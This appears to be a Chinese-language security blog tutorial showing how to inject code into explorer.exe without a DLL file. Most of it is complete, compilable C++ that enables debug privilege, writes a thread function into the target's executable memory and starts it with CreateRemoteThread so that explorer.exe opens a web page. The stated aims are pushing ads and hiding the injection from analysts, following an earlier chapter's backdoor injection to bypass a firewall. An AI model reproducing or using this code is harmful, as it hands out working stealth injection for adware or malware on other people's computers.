簡介

在之前的章節中，筆者曾介紹過有關於遠程線程註入的知識，將後門.dll文件註入explorer.exe中實現繞過防火墻反彈後門。但一個.exe文件總要在註入時捎上一個.dll文件著實是怪麻煩的，那麽有沒有什麽方法能夠不適用.dll文件實現註入呢？
答案是有的，我們可以直接將功能寫在線程函數中，然後直接將整個函數註入，這個方法相較之於DLL註入會稍微復雜一些，適用於對一些體積比較小的程序進行註入。但是要註意動態鏈接庫的地址重定位問題，因為正常的文件一般會默認載入kernel32.dll文件，而不會載入其他DLL，且只有kernel32.dll與user32.dll文件可以保證在本地和目的進程中的加載地址是一樣的，所以最好要在遠程線程函數中手動利用LoadLibrary和GetProcessAddress函數強制加載一遍DLL文件。Visual Studio在編譯此類功能的文件時建議關閉編譯器的“/GS”選項，還要其他需要註意的地方可參考此鏈接。
下面我們借助此方法實現讓Windows資源管理器explorer.exe實現彈網頁（發廣告）的功能，而分析人員卻無法從程序依賴的動態鏈接庫中找到我們註入線程用的DLL文件，達到了一定的隱藏效果。

代碼實現

//////////////////////////////
//
// FileName : InjectProcess.cpp
// Creator : PeterZheng
// Date : 2018/8/18 0:35
// Comment : Inject Process Without Dll File
//
//////////////////////////////

#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <string>
#include <string.h>
#include <windows.h>
#include <strsafe.h>
#include <tlhelp32.h>

#define MAX_LENGTH 50
#define NORMAL_LENGTH 20
#pragma warning(disable:4996)

using namespace std;

typedef struct _RemoteParam
{
    CHAR szOperation[NORMAL_LENGTH];
    CHAR szAddrerss[MAX_LENGTH];
    CHAR szLb[NORMAL_LENGTH];
    CHAR szFunc[NORMAL_LENGTH];
    LPVOID dwMLAAdress;
    LPVOID dwMGPAAddress;
    LPVOID dwSEAddress;
}RemoteParam;

DWORD WINAPI ThreadProc(RemoteParam *lprp)
{
    typedef HMODULE(WINAPI *MLoadLibraryA)(IN LPCTSTR lpFileName);
    typedef FARPROC(WINAPI *MGetProcAddress)(IN HMODULE hModule, IN LPCSTR lpProcName);
    typedef HINSTANCE(WINAPI *MShellExecuteA)(HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd);
    MLoadLibraryA MLA;
    MGetProcAddress MGPA;
    MShellExecuteA MSE;
    MLA = (MLoadLibraryA)lprp->dwMLAAdress;
    MGPA = (MGetProcAddress)lprp->dwMGPAAddress;
    lprp->dwSEAddress = (LPVOID)MGPA(MLA(lprp->szLb), lprp->szFunc);
    MSE = (MShellExecuteA)lprp->dwSEAddress;
    MSE(NULL, lprp->szOperation, lprp->szAddrerss, NULL, NULL, SW_SHOWNORMAL);
    return 0;
}

DWORD GetProcessID(CHAR *ProcessName)
{
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE)
    {
        printf("CreateToolhelp32Snapshot error");
        return 0;
    }
    BOOL bProcess = Process32First(hProcessSnap, &pe32);
    while (bProcess)
    {
        if (strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)
            return pe32.th32ProcessID;
        bProcess = Process32Next(hProcessSnap, &pe32);
    }
    CloseHandle(hProcessSnap);
    return 0;
}

int EnableDebugPriv(const TCHAR *name)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
        &hToken))
    {
        printf("OpenProcessToken Error!\n");
        return 1;
    }
    if (!LookupPrivilegeValue(NULL, name, &luid))
    {
        printf("LookupPrivilege Error!\n");
        return 1;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid = luid;
    if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
    {
        printf("AdjustTokenPrivileges Error!\n");
        return 1;
    }
    return 0;
}

BOOL InjectProcess(const DWORD dwPid)
{
    if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE;
    HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (!hWnd) return FALSE;
    RemoteParam rp;
    ZeroMemory(&rp, sizeof(RemoteParam));
    rp.dwMLAAdress = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "LoadLibraryA");
    rp.dwMGPAAddress = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "GetProcAddress");
    StringCchCopy(rp.szLb, sizeof(rp.szLb), "Shell32.dll");
    StringCchCopy(rp.szFunc, sizeof(rp.szFunc), "ShellExecuteA");
    StringCchCopy(rp.szAddrerss, sizeof(rp.szAddrerss), "https://www.baidu.com");
    StringCchCopy(rp.szOperation, sizeof(rp.szOperation), "open");
    RemoteParam *pRemoteParam = (RemoteParam *)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pRemoteParam) return FALSE;
    if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;
    LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pRemoteThread) return FALSE;
    if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;
    HANDLE hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);
    if (!hThread) return FALSE;
    return TRUE;
}

int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
    CHAR szProcName[MAX_LENGTH] = "\0";
    StringCchCopy(szProcName, MAX_LENGTH, "explorer.exe");
    InjectProcess(GetProcessID(szProcName));
    ExitProcess(0);
    return 0;
}
 

安全之路 —— 無DLL文件實現遠程線程註入